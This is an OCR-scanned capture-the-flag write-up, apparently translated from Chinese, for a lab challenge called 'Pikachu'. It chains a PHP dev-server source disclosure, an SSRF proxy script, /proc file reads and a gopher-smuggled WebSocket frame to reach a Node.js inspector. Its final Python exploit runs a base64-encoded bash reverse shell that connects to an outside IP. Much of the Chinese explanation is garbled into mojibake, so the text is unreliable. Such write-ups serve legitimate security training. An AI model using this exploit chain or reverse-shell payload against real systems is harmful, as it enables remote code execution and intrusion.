Pikachu WP

TRAEIRASLHIMT PHP hRAS, 1RIE 404 TREHHABRSS{EMARYZ PHP Development Server

¥ Response Headers (J Raw

Connection: close

Content-Type: text/html; charset=UTF-8

Date: Fri, 14 Jun 2024 15:18:32 GMT

Host: 172.22.177.166:64000

X-Powered-By: PHP/7.3.33-19+ubuntu22.04.1+deb.sury.org+1

PHP<=7.4.21 Development Server 5 client->requests.path_translated ;SERANEHE, 77T
TRREEERIRE: https://blog.projectdiscovery.io/php-http-server-source-disclosure/

FFALLRIAIEEN index.php JFRS, RILERPIMERIEREE, WTERMR

m Cancel |[< v Target: http://172.22.177.166:64000 /9 HTTP/1 (3)

= m T <
Request Response [ mn | Inspector W = - & X
Pretty  Raw  Hex > = Pretty Raw  Hex  Render = | Request Attributes 2 v
. oo —vereroerorowoTrTrr— q
1 GET /index.php HITP/L.1 \x \n 160 <usexlink :href="#sparklel” />
2 \eh\n 161 </g>
3 N Request Query Parameters 0 v
3 GET /whatever.css HITP/L.1 \r \n 162 <gtransform="translate (680, 145) scale(0.85)” > q 4
4 0zl 163 <usexlink :href="#sparkle2” />
5 164 </g> Request Body Parameters 1 v
165 <gid="sparkle2” fil1="none” stroke-width ="5. 67" stroke-linecap =
round”> Request Cookies 0 ~

166 <lineid="1line2” x1="49. 06" x2="73. 06" y1="285. 49" y2="285. 49" />
167 <lineid="linel” x1="61. 06" x2="61. 06" y1="269. 12" y2="301. 85" />
168 </g> Request Headers 0 v
69 <pathid="sparklel” transform="translate(0, -30)” stroke-width="5.67"
stroke-miterlimit ="10" fi11="none”
170 d= Response Headers 4 ~
“M147. 17, 331. 47c10. 56-4. 18, 11. 48-20. 81, 11. 42-27. 62-. 06-7. 87. 66, 24
37,9.62,26.47,5.33,1.24,9.42,1,7.91,3.181-4. 1. 77cl. 57-.3,0,0, 0, 0-1
4.3,0-10. 32, 26. 92-11. 94, 32. 19-. 17. 54-. 52, 2. 4-1. 14, 2. 06-. 36-. 2—. 94~
17-1. 22 -1.35-10. 12, 3-32-12. 36-32-. 68, 0-6. 28. 1-6. 36-. 635144. 7
4,332.44,147.17,331. 472" />
1 </g>
2 <y
</svg>

5 </body>

77 </html>

1 Pikachu's Secret Note:

3 It's time to work. Let me check the files. Emmmm, create a php scr
ipt “info.php  to have a look at “phpinfo()” and list the files fi
rst.

4
185 “shell.php is so weird. It's likely modified by a hacker. I renam
ed it to "shell_s3cre_file. php. bak and add some lines to secure
it. I will check "xml_login. php  next.

-

187 “xml_login. php  is normal. Next file is ..., ah, I have a meeting
to take now. Move 'info.php’ to info.114514. txt, no chance for h
ackers.

188

189 * Remember to report the suspicious weird file to admin later !!!
190

191 */

@ {§} &\ > | Search... 0 matches @ {:O} &> | Search... 0 matches

Done 13,601 bytes | 6 millis
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Pikachu's Secret Note:

It's time to work. Let me check the files. Emmmm, create a php script “info.php”
to have a look at “phpinfo()  and 1list the files first.

"shell.php” is so weird. It's 1likely modified by a hacker. I renamed it to
"shell_s3cre7_file.php.bak™ and add some 1lines to secure it. I will check
“xm1_Togin.php  next.

"xm1_Togin.php ™ 1is normal. Next file is

Move “info.php ™ to “info.114514.txt , no chance for hackers.

* Remember to report the suspicious weird file to admin Tater !!

., ah, I have a meeting to take now.

DRI, xml_login.php EERN, HFRAZE php BRIV LAFIEIE? HIFESHERRH—
K15 PHP Development Server 1§ php MAEH/EERSUEALEE, MBEIRED

£EE, BATLIMNES

IESENGRRS X E php SUHALER? IRIERRRE, FEEEIESZNERPH client-

>requests.path_translated B&/A .php LEEMEEZAIA], HAF shell_s3cre7_file.php.bak A
%3 PHP KD, (BEWHRINT die; LUREBH—LERS, TiEFA, FIA info.114514. txt EEY
phpinfo) LARMuLBRTHRENME, SN TFEFR

Request
Pretty Raw Hex

1 GET /info.114514. txt HITP/L.1 \r \n
2 \r\n

3 GET /whatever.php HTTP/1.1 \r \n

4 A\r\n

5

BIHIGIES

Done

Search...

BW-=

0 matches

Response

Pretty Raw Hex

index.html

index.php

info.114514.ixt
proxy_v2.dev.php
shell_s3cre7_file php.bak
static

¥ml_login.php

Render

Target: http://172.22.177.166:64000 f

= \n =

System Linux d0c4198f24a 5.15.153.11
Build Date Jun 6 2024 16:45:29

Server API Built-in HTTP server

Virtual Directory Support disabled

Configuration File (php.ini) Path Jete/php/7 3icli

Loaded Configuration File

Jetc/phpi7 3icliiphp.ini

Scan this dir for additional .ini files

letciphpi7.3/cliicont.d

Additional .ini files parsed

Jetc/phpi7 3icliiconf d/10-opcach
Jetc/php/7 3iclifconf d/20-calend:
Jetc/phpi7 3icliicont d/20-dom.ini
Jetc/phpi7 3icliiconf d/20-fip.ini, /
Jetc/phpi7 3icliiconf.d/20-json.ini
Jetciphpi7 3icli/conf dr20-readlini
Jetc/phpi7 3icli/coni d/20-sockets
Jetc/phpi7 3icliiconf.d/20-sysvsh
Jete/php/7 3iclifconf d/20-xmirea

PHP API 20180731
PHP Extension 20180731
Zend Extension 320180731

Zend Extension Build

API320180731 NTS

PHP Extension Build

API20180731,NTS

Debug Build no
Thread Safety disabled

Zend Signal Handling

enabled

KRINWEE— php X4 proxy_v2.dev.php , FREEFENGEHERRBWT

Request Attributes

Inspector

Request Query Parameters
Request Body Parameters
Request Cookies
Request Headers

Response Headers

HrTP1 ()

&

2

0

X

~

v

68,442 bytes | 24 millis



Request
Pretty Raw Hex
1 GET /proxy_v2.dev.php HITP/1.1\r \n
2 \r\n
3 GET /whatever.css HITP/1.1 \r \n
4 N\r\n
@ & [€][>] | searcn..
Done
<?php

@error_reporting(0);

$uri
$ch = curl_init($uri);

Response

Pretty
1 HITP/1.1 200 OK

2 Date: Fri, 14 Jun 2024 15:33:23 GMT
3 Connection : close

4 Content-Type : text/css; charset=UTF-8
5 Content-Length : 274

= Raw Hex Render

7 <2php
8 @error_reporting (0);

10 $uri=isset ($_REQUEST [ uri’ ]1)?$_REQUEST
“http://127.0.0.1:5000/ ;

11 $ch=curl_init ($uri);

12 curl_setopt ($ch, CURLOPT_RETURNTRANSFER , true) ;

13 curl_setopt ($ch, CURLOPT_TIMEOUT , 5);

14 $res=curl_exec ($ch) ;

15 curl_close ($ch) ;

16 echo$res;|

[uri’ 1:

0 matches Search...

GRS

isset($_REQUEST['uri']l) ? $_REQUEST['uri'l]

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);

$res curl_exec($ch);
curl_close($ch);

echo $res;

DITRIFAERRERY SSRF LIRS HEENRIR, BiFEE /flag K,

BREHEER

import requests

base 'http://172.22.

177.166:64000'

proxy = f'{base}/proxy_v2.dev.php'

def read(uri):
data = {
'uri

uri

r =

return r.text

requests.post(proxy, data=data)

Target: http://172.22.177.166:64000 /5

HITe1 ()

== Inspector W = - & X
n o= Request Attributes 2 ~
Request Query Parameters 0 v

Request Body Parameters 1 ~

Request Cookies 0 ~

Request Headers 0 ~

Response Headers 4 ~

0 matches

409 bytes | 1 millis

"http://127.0.0.1:5000/";

REMIAITHE /proc BHR



for i in range(50):

u= f'file:///proc/{i}/cmdline'’
c = read(u)
print(i, <)

AIMEENTHZ, i FEZIFFET inspect B node #H12, iZEY index.js #H—Eo4r, FFET 5000 i
O, FREEEITLABNR, BBARTLFIETZEEST node By inspect BRSS T, TEDTTIIRAIMNY
Chrome DevTools Protocol: https://chromedevtools.github.io/devtools-protocol/ (HERJLAEILHN
B i)

/bin/sh /entrypoint.sh
node --inspect index.js
php -S 0.0.0.0:3000
tail -f /dev/null

import express from 'express';

const app = express();

app.get('/', (req, res) => {
res.send('pPikaPika!');

£)8

app.Tlisten(5000, O => {
console.log('Server is running on port 5000');

s

ALARIIX MRS EGAIZTF 127.0.0.1:9229 , RPFESEAAIIEHITERRR, EENSEH
WebSocket url, [GEA—S UUID, #NE UUID AIUEIRSZISSIEMEEE

Debugger listening on ws://127.0.0.1:9229/5b41d981-88ff-4fc6-b39e—cbb66al1611bf

For help, see: https://nodejs.org/en/docs/inspector
Server is running on port 5000

EIRBNETUZRNXA UUID I, FEMEFRILIRIIXMEORERERFEST UUID, HEARSE
BN (AFEAILUTESHT, node B inspect i)


https://chromedevtools.github.io/devtools-protocol/

GET /json or /json/Tist
A Tist of all available websocket targets.

[{

"description": "",

"devtoolsFrontendurl": "/devtools/inspector.html?
ws=1ocalhost:9222/devtools/page/DAB7FB6187B554E10B0BD18821265734",

"id": "DAB7FB6187B554E10B0BD18821265734",

"title": "yvahoo",

"type": "page",

"url": "https://www.yahoo.com/",

"webSocketbebuggerurl":
"ws://localhost:9222/devtools/page/DAB7FB6187B554E1080BD18821265734"
3]

SSRF i5KIXMECRIATALSRIREY, M FERTR

== T =

Request Response Inspector = m = {é} X |
Pretty  Raw  Hex \n = Pretty Raw  Hex  Render M = Request Attributes 2 v
1 POST /proxy_v2. dev. php HITP/1.1 1 HTTP/1.1 200 OK
2 Content-Type : application/x-www-form-urlencoded 2 Date: Fri, 14 Jun 2024 15:51:55 GMT
3 Content-Length : 30 3 Connection : close RequestuenylisiSnsss 2 ~
4 4 X-Powered-By : PHP/T.3.33-19+ubuntu22. 04. 1+deb. sury. org+l
5 uri=http://127.0.0.1:9229/json | 5 Content-type : text/html: charset=UTF-8 Request Body Parameters 1 ~

6

7o .

8|"description”: “node. js instance”, Request Cookies 9 v

“devtool sFrontendUrl”:

“devtools://devtools/bundled/ js_app. html ?experiments=true&vSonly=tr Request Headers 2 v
uebws=127. 0. 0. 1:9229/5b41d981-88£ £-4£c6-b3%e-cbbB6al6l1b”,

“devtool sFrontendUrlCompat” :

“devtools://devtools/bundled/inspector. html ?experiments=true&vSonly Response Headers & 4

©

5

=truedws=127. 0. 0. 1:9229/5b41d981-88f f-4£c6-b39%e-cbb66alBl1bt”,
“faviconUrl”:
“https://nodejs. org/static/images/favicons/favicon. ico”,
12 “id”: “5b41d981-88ff-4£c6-b30%e-cbbBBalbllbt”,
13 “title”: “index. js”,
14 “type”: “node”,
15 "url”: “file:///app-dev/index. js”,
16 "webSocketDebuggerUrl”:
“ws://127. 0. 0. 1:9229/5b41d981 -88£ f-4£c6-b39%e-cbb6alB11bt”
17} 1
18
19
|

@ & (€[> | searen omatches | (2) {8} &> | search 0 matches

Done 816 bytes | 1 millis

ETRYEERLEE 4 SSRF FIBHNYN T, WebSocket MY E—FEFTCPRIMLEIMY, FBFEZ s
FIIRS B2 EEEIFERE, MW TEE EAFRESSEIREFiRHEXEEE, BiTtEAirE i
AIRSBEERIEHIE., WebSocket tHNEZEEM HTTP A&, WITFEFRI=




T ERAT

HTTP/1 iR T —FPER upgrade =2 IRAFERBUSIMILE], X—HHIARPE— 1 EEBNERTR
BRI, FHEEEIMNL.

XAMEIEREN,; EFFEREMYNENR (BEEFRRX—THERERERRALTH) . RIS
i, SLMEZEFLIAFIA upgrade, Lk, XFWLHFEZERT SIS WebSocket &,

EE: HTTP/2 BEREZEIFERLANE,; SMERETF HTTP/1,
FL% HTTP/1.1 1
EUR(ER Upgrade (zm3) RSk FERIERIRSEE, LIEFREIHIUFYIRRIE DS HA9—MMY,

EA upgrade 2—EBE (Hop-by-hop) #rsk, BIRFEA connection HRAFERPYIH, XEHELS
Upgrade RYERTNEHIE(ITF:

HTTP B

GET /index.html HTTP/1.1
Host: www.example.com
Connection: upgrade

Upgrade: example/1, foo/2

TRIEZ AIRNEREY, FTeEEEEHMRHES, fIa0: M HTTP/1.1 FHRE) WebSocket iFERET X
WebSocket IEZIRELHIFEESR, UNRTERMEH—EREENTSE. EERRE| WebSocket il EIE
EREEZER.

FHREH frame AN FEIFR

0 1 P 3
012345678595 0123456789012345678901
+—+—4—+-+-—————— +-tm—mmmm Fmmmm - -
IF|IR|R|R| opcode|M| Paylcad len | Extended paylcad length
ITIsIsIs] (4) |&A] (7) | (16/64)
IN|V|V]|V] 15] | (if payload len==126/127)
I 1112]3] IK| |

+—+—4—+-+-—————— ettt -

|IMasking-key, if MASK set to 1
e et s -
| Masking-key {(continued) | Paylcocad Data

e e

Payload Data continued

Payload Data continued

AJLA#ERS gopher #MY3&#F0 WebSocket fg5532E, {H2Z gopher tMNAEUER—IXMEARER, TEIRS M
1R[E] 101 RSB ZBRENEUEHASHIERILIE S WebSocket 9l FRLAFEED AFENE



B R ESRE R SSim AN B EIER lo B9 MTU  (Maximum transmission unit)

def get_mtu():
data = {
'uri': 'file:///sys/class/net/To/mtu’

r = requests.post(proxy, data=data)

return int(r.text)

PAISTE HTTP FHRIERH WebSocket i [EIEFEEE, 15 len(HTTP FHERkiEK) + len(EFEEUE) ==
MTU BDRJ, AsbEEMESIGEGERAM M AIE, node inspect fRSFIGIEMIIEIBRK

SR exp I (5 shell)

import bitstruct
import requests
import json
base = 'http://172.22.177.166:64000'
proxy = f'{base}/proxy_v2.dev.php'
def get_idQ):
data = {
'uri': 'http://127.0.0.1:9229/json'
r = requests.post(proxy, data=data)
return r.json(Q[0]["'id"]
def get_mtu(Q):
data = {
'uri': 'file:///sys/class/net/To/mtu’
r = requests.post(proxy, data=data)
return int(r.text)

def read(uri):
data = {

uri': uri

r = requests.post(proxy, data=data)



return r.text

def make_req(_req):
return ('\r\n'.join(_req) + '\r\n\r\n').encode()

def enc(data):

r =
for i in data:

r+= '%" + hex(i)[2:1.zfi11(2)
return r

def make_gopher(ip, port, data):
assert b'\x00' not in data
return f'gopher://{ip}:{port}/_{enc(data)}'
def make_websocket_text_frame(data):
assert 126 <= len(data) < 2 ** 16
pkt = bytearray()
FIN, RSV, OPCODE, MASK, PAYLOAD_LEN = 1, 0, 1, 1, 126
EXTENDED_PAYLOAD_LEN = len(data)
MASK_KEY = b'\xfe\xfe\xfe\xfe'

MASKED_DATA = bytearray(data)

for i in range(len(MASKED_DATA)):
MASKED_DATA[i] = MASKED_DATA[i] A MASK_KEY[i % 4]

pkt += bitstruct.pack('>ulu3u4ulu7ul6r32', FIN, RSV, OPCODE, MASK,
PAYLOAD_LEN, EXTENDED_PAYLOAD_LEN, MASK_KEY)
pkt += MASKED_DATA

return pkt
_id = get_idQ
mtu = get_mtu()

req = make_req([
f'GET /{_id} HTTP/1.1",
'Sec-webSocket-version: 13',
'Sec-WebSocket-Key: NMtM5Mtl1C7TYIF3IMwIG8w==",
'Connection: Upgrade',

'Upgrade: websocket',

'Content-Length: 0',

'Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits',
"Host: 127.0.0.1:9229'

D



empty_text_frame = bytes.fromhex('818081808180"')
padding_len = 0x50

cmd = 'echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8XMDEUMjAWLjIwMi4yMTYVNjUWMDEGMD4mMMQ==
| base64 -d | bash'

express = f'require("child_process").execSync("{cmd}");//{"A" * padding_len}'

exp = {
"id": 1,
"method": "Runtime.evaluate",

"params": {
"expression'": express,
"includeCommandLineAPI": True

exp_text_frame = make_websocket_text_frame(json.dumps(exp).encode())
payload = req + b'A" * (mtu - len(req)) + exp_text_frame

print(read(make_gopher('127.0.0.1"', 9229, payload)))
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